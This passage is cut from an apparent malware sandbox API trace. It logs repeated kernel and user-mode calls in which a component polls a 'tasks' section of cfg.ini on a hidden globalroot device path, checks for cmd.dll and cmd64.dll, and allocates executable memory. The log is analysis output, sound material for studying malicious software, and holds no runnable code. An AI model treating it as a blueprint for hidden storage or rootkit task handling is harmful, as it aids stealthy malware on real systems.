_Dest="0d24eb7c\\cfg.ini") returned 16 [0127.708] KeEnterCriticalRegion () [0127.708] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.708] ExFreePoolWithTag (P=0xfffffa8003bfcb00, Tag=0x0) [0127.708] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.708] KeLeaveCriticalRegion () [0127.708] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.708] ReleaseMutex (hMutex=0xf0) returned 1 [0127.708] Sleep (dwMilliseconds=0x927c0) [0127.722] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.722] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.722] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.722] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.722] KeEnterCriticalRegion () [0127.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.722] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.722] IdePortDispatch () returned 0x103 [0127.722] KeWaitForMutexObject () returned 0x0 [0127.722] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.722] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.722] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.722] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.722] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.722] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc9b0 [0127.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.722] KeLeaveCriticalRegion () [0127.722] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.722] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.722] KeEnterCriticalRegion () [0127.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.722] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.722] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.722] KeLeaveCriticalRegion () [0127.722] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.722] KeEnterCriticalRegion () [0127.722] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.722] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.722] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.722] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.722] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.722] IdePortDispatch () returned 0x103 [0127.723] KeWaitForMutexObject () returned 0x0 [0127.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.723] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.723] KeLeaveCriticalRegion () [0127.723] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.723] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.723] KeEnterCriticalRegion () [0127.723] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.723] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b91000 [0127.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.723] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.723] IdePortDispatch () returned 0x103 [0127.723] KeWaitForMutexObject () returned 0x0 [0127.723] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.723] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.723] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.723] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.723] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.723] IdePortDispatch () returned 0x103 [0127.723] KeWaitForMutexObject () returned 0x0 [0127.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.724] KeLeaveCriticalRegion () [0127.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.724] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.724] KeEnterCriticalRegion () [0127.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.724] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.724] KeLeaveCriticalRegion () [0127.724] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.724] KeEnterCriticalRegion () [0127.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.724] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.724] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.724] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.724] KeLeaveCriticalRegion () [0127.724] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.724] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.724] KeEnterCriticalRegion () [0127.724] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.725] ExFreePoolWithTag (P=0xfffffa8003bfc9b0, Tag=0x0) [0127.725] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.725] KeLeaveCriticalRegion () [0127.725] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.725] ReleaseMutex (hMutex=0xf0) returned 1 [0127.725] Sleep (dwMilliseconds=0x927c0) [0127.739] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.739] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.739] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.739] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.739] KeEnterCriticalRegion () [0127.739] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.739] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.739] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.739] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.739] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.739] IdePortDispatch () returned 0x103 [0127.739] KeWaitForMutexObject () returned 0x0 [0127.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.740] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.740] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.740] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.740] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.740] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc7b0 [0127.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] KeLeaveCriticalRegion () [0127.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.740] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.740] KeEnterCriticalRegion () [0127.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] KeLeaveCriticalRegion () [0127.740] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.740] KeEnterCriticalRegion () [0127.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.740] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.740] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.740] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.740] IdePortDispatch () returned 0x103 [0127.740] KeWaitForMutexObject () returned 0x0 [0127.740] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.740] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] KeLeaveCriticalRegion () [0127.740] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.740] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.740] KeEnterCriticalRegion () [0127.740] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.740] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b96000 [0127.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.741] IdePortDispatch () returned 0x103 [0127.741] KeWaitForMutexObject () returned 0x0 [0127.741] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.741] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.741] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.741] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.741] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.741] IdePortDispatch () returned 0x103 [0127.741] KeWaitForMutexObject () returned 0x0 [0127.741] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.741] KeLeaveCriticalRegion () [0127.741] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.742] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.742] KeEnterCriticalRegion () [0127.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] KeLeaveCriticalRegion () [0127.742] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.742] KeEnterCriticalRegion () [0127.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.742] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfc070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] KeLeaveCriticalRegion () [0127.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.742] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.742] KeEnterCriticalRegion () [0127.742] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] ExFreePoolWithTag (P=0xfffffa8003bfc7b0, Tag=0x0) [0127.742] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.742] KeLeaveCriticalRegion () [0127.742] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.742] ReleaseMutex (hMutex=0xf0) returned 1 [0127.742] Sleep (dwMilliseconds=0x927c0) [0127.752] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.752] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.760] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.760] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.760] KeEnterCriticalRegion () [0127.760] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.760] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.760] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.760] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.760] IdePortDispatch () returned 0x103 [0127.760] KeWaitForMutexObject () returned 0x0 [0127.760] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.760] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.760] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.760] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.760] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.760] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfc660 [0127.760] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.760] KeLeaveCriticalRegion () [0127.760] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.761] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.761] KeEnterCriticalRegion () [0127.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.761] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.761] KeLeaveCriticalRegion () [0127.761] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.761] KeEnterCriticalRegion () [0127.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.761] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0127.761] IdePortDispatch () returned 0x103 [0127.761] KeWaitForMutexObject () returned 0x0 [0127.761] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.761] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.761] KeLeaveCriticalRegion () [0127.761] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.761] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.761] KeEnterCriticalRegion () [0127.761] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.761] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c41000 [0127.761] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.761] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.761] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.761] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.761] IdePortDispatch () returned 0x103 [0127.761] KeWaitForMutexObject () returned 0x0 [0127.762] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.762] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.762] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0127.762] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.762] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0127.762] IdePortDispatch () returned 0x103 [0127.762] KeWaitForMutexObject () returned 0x0 [0127.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.762] KeLeaveCriticalRegion () [0127.762] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.762] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.762] KeEnterCriticalRegion () [0127.762] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.762] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0127.762] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.762] KeLeaveCriticalRegion () [0127.762] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.763] KeEnterCriticalRegion () [0127.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.763] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0127.763] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.763] KeLeaveCriticalRegion () [0127.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.763] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.763] KeEnterCriticalRegion () [0127.763] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.763] ExFreePoolWithTag (P=0xfffffa8003bfc660, Tag=0x0) [0127.763] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.763] KeLeaveCriticalRegion () [0127.763] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0127.763] ReleaseMutex (hMutex=0xf0) returned 1 [0127.763] Sleep (dwMilliseconds=0x927c0) [0127.778] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0127.779] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.779] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0127.779] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.779] KeEnterCriticalRegion () [0127.779] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.779] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0127.779] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0127.779] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.779] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0127.779] IdePortDispatch () returned 0x103 [0127.779] KeWaitForMutexObject () returned 0x0 [0127.779] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.779] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.779] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.779] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", 